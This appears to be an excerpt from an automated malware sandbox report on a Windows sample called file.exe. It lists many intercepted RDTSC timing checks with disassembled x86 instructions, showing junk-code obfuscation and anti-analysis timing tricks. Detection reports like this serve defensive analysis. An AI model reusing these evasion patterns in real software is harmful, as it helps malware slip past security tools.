Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C852F5 second address: C85309 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F23CCC4C816h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F23CCC4C816h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85309 second address: C8530D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8530D second address: C85315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D2C9 second address: C8D2D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D2D1 second address: C8D307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F23CCC4C823h 0x0000000b ja 00007F23CCC4C816h 0x00000011 popad 0x00000012 jnp 00007F23CCC4C81Eh 0x00000018 popad 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D5E0 second address: C8D5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94C0A second address: C94C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F23CCC4C829h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94C29 second address: C94C56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F23CC733A26h 0x00000010 jng 00007F23CC733A26h 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b js 00007F23CC733A36h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94C56 second address: C94C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9BCA3 second address: C9BCA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DC90 second address: C9DCA9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F23CCC4C816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F23CCC4C81Ch 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DCA9 second address: C9DCB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D827 second address: C9D847 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F23CCC4C816h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F23CCC4C821h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D847 second address: C9D84C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9FF99 second address: C9FF9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9FF9D second address: C9FFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F23CC733A2Fh 0x0000000d pop eax 0x0000000e pushad 0x0000000f je 00007F23CC733A2Eh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9FFC0 second address: C9FFC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAC0E second address: CAAC23 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F23CC733A26h 0x00000008 jmp 00007F23CC733A2Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAC23 second address: CAAC32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Ah 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAC32 second address: CAAC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F23CC733A26h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F23CC733A2Ch 0x00000015 js 00007F23CC733A26h 0x0000001b push edx 0x0000001c jmp 00007F23CC733A33h 0x00000021 jo 00007F23CC733A26h 0x00000027 pop edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB19E0 second address: CB19F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007F23CCC4C81Ch 0x0000000b jns 00007F23CCC4C816h 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8662 second address: CB8673 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 jne 00007F23CC733A26h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8673 second address: CB8687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8963 second address: CB896D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB967F second address: CB9685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9685 second address: CB9689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9689 second address: CB96B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b je 00007F23CCC4C816h 0x00000011 jmp 00007F23CCC4C822h 0x00000016 popad 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB96B0 second address: CB96B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1932 second address: CC1939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC30EC second address: CC30F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC30F6 second address: CC3105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F23CCC4C81Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3105 second address: CC310C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB6CD second address: CCB6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB6D1 second address: CCB6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD954 second address: CCD967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE110B second address: CE1121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007F23CC733A26h 0x0000000e ja 00007F23CC733A26h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1121 second address: CE1130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 je 00007F23CCC4C81Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3B9F second address: CE3BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9994 second address: CF99D3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F23CCC4C81Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F23CCC4C81Ah 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F23CCC4C827h 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f push edi 0x00000020 pop edi 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push esi 0x00000025 pop esi 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF99D3 second address: CF99DD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF99DD second address: CF99E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F23CCC4C816h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8905 second address: CF8929 instructions: 0x00000000 rdtsc 0x00000002 je 00007F23CC733A3Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F23CC733A36h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8929 second address: CF892D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF892D second address: CF8931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8BBE second address: CF8BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8BC9 second address: CF8BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8BCD second address: CF8BD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8BD1 second address: CF8BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9164 second address: CF9182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 push ecx 0x00000008 jmp 00007F23CCC4C81Ch 0x0000000d pop ecx 0x0000000e push edi 0x0000000f jp 00007F23CCC4C816h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF42A second address: CFF42E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E402A4 second address: 4E402C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23CCC4C829h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E402C1 second address: 4E402DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F23CC733A33h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E402DF second address: 4E4037F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F23CCC4C81Fh 0x00000009 and cl, FFFFFF8Eh 0x0000000c jmp 00007F23CCC4C829h 0x00000011 popfd 0x00000012 jmp 00007F23CCC4C820h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F23CCC4C820h 0x00000020 mov ebp, esp 0x00000022 jmp 00007F23CCC4C820h 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d pushfd 0x0000002e jmp 00007F23CCC4C823h 0x00000033 or si, C0AEh 0x00000038 jmp 00007F23CCC4C829h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E403D0 second address: 4E40420 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F23CC733A33h 0x00000008 or al, 0000007Eh 0x0000000b jmp 00007F23CC733A39h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F23CC733A2Eh 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ah, bh 0x00000021 mov di, ax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40420 second address: 4E40426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40426 second address: 4E4042A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14EC7 second address: C14ED1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F23CCC4C816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14ED1 second address: C14ED6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4049C second address: 4E404A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4057D second address: 4E405D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 31ED1E89h 0x00000010 jmp 00007F23CC733A36h 0x00000015 call 00007F243D21746Fh 0x0000001a push 759227D0h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov eax, dword ptr [esp+10h] 0x0000002a mov dword ptr [esp+10h], ebp 0x0000002e lea ebp, dword ptr [esp+10h] 0x00000032 sub esp, eax 0x00000034 push ebx 0x00000035 push esi 0x00000036 push edi 0x00000037 mov eax, dword ptr [759B0140h] 0x0000003c xor dword ptr [ebp-04h], eax 0x0000003f xor eax, ebp 0x00000041 push eax 0x00000042 mov dword ptr [ebp-18h], esp 0x00000045 push dword ptr [ebp-08h] 0x00000048 mov eax, dword ptr [ebp-04h] 0x0000004b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000052 mov dword ptr [ebp-08h], eax 0x00000055 lea eax, dword ptr [ebp-10h] 0x00000058 mov dword ptr fs:[00000000h], eax 0x0000005e ret 0x0000005f jmp 00007F23CC733A30h 0x00000064 and dword ptr [ebp-04h], 00000000h 0x00000068 pushad 0x00000069 call 00007F23CC733A2Eh 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E405D3 second address: 4E405E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov al, bl 0x00000007 popad 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E405E4 second address: 4E405E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E405E8 second address: 4E405FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E405FD second address: 4E4063D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b jmp 00007F23CC733A2Eh 0x00000010 mov al, byte ptr [edx] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F23CC733A37h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4063D second address: 4E40693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c jmp 00007F23CCC4C823h 0x00000011 pop esi 0x00000012 mov eax, ebx 0x00000014 popad 0x00000015 test al, al 0x00000017 pushad 0x00000018 mov dh, BFh 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F23CCC4C828h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40693 second address: 4E4063D instructions: 0x00000000 rdtsc 0x00000002 mov dl, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007F23CC7339A8h 0x0000000d mov al, byte ptr [edx] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F23CC733A37h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E406A8 second address: 4E406EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b jmp 00007F23CCC4C827h 0x00000010 mov edi, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F23CCC4C825h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E406EC second address: 4E40719 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a jmp 00007F23CC733A2Eh 0x0000000f lea ebx, dword ptr [edi+01h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40719 second address: 4E40736 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40736 second address: 4E40768 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c pushad 0x0000000d mov ebx, ecx 0x0000000f mov ah, 89h 0x00000011 popad 0x00000012 inc edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007F23CC733A2Ch 0x0000001b pop ecx 0x0000001c push edi 0x0000001d pop eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40768 second address: 4E4076E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4076E second address: 4E40772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40772 second address: 4E407BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C826h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e jmp 00007F23CCC4C81Eh 0x00000013 mov bx, si 0x00000016 popad 0x00000017 jne 00007F243D724AF2h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F23CCC4C823h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E407BE second address: 4E4080C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d jmp 00007F23CC733A37h 0x00000012 shr ecx, 02h 0x00000015 jmp 00007F23CC733A36h 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F23CC733A2Ch 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4080C second address: 4E40874 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, edx 0x00000009 popad 0x0000000a mov ecx, edx 0x0000000c jmp 00007F23CCC4C829h 0x00000011 and ecx, 03h 0x00000014 jmp 00007F23CCC4C81Eh 0x00000019 rep movsb 0x0000001b jmp 00007F23CCC4C820h 0x00000020 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F23CCC4C827h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40874 second address: 4E408AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov dh, 8Ch 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F23CC733A38h 0x00000013 or ah, 00000018h 0x00000016 jmp 00007F23CC733A2Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e movzx ecx, dx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E408AE second address: 4E408FF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F23CCC4C81Bh 0x00000008 jmp 00007F23CCC4C823h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 mov ecx, dword ptr [ebp-10h] 0x00000014 pushad 0x00000015 mov ecx, 08CFA9A7h 0x0000001a popad 0x0000001b mov dword ptr fs:[00000000h], ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F23CCC4C829h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E408FF second address: 4E4094A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jmp 00007F23CC733A2Eh 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F23CC733A2Ch 0x00000019 jmp 00007F23CC733A35h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4094A second address: 4E4097E instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov bx, 26E0h 0x0000000b popad 0x0000000c pop esi 0x0000000d jmp 00007F23CCC4C81Fh 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F23CCC4C825h 0x0000001a rdtsc
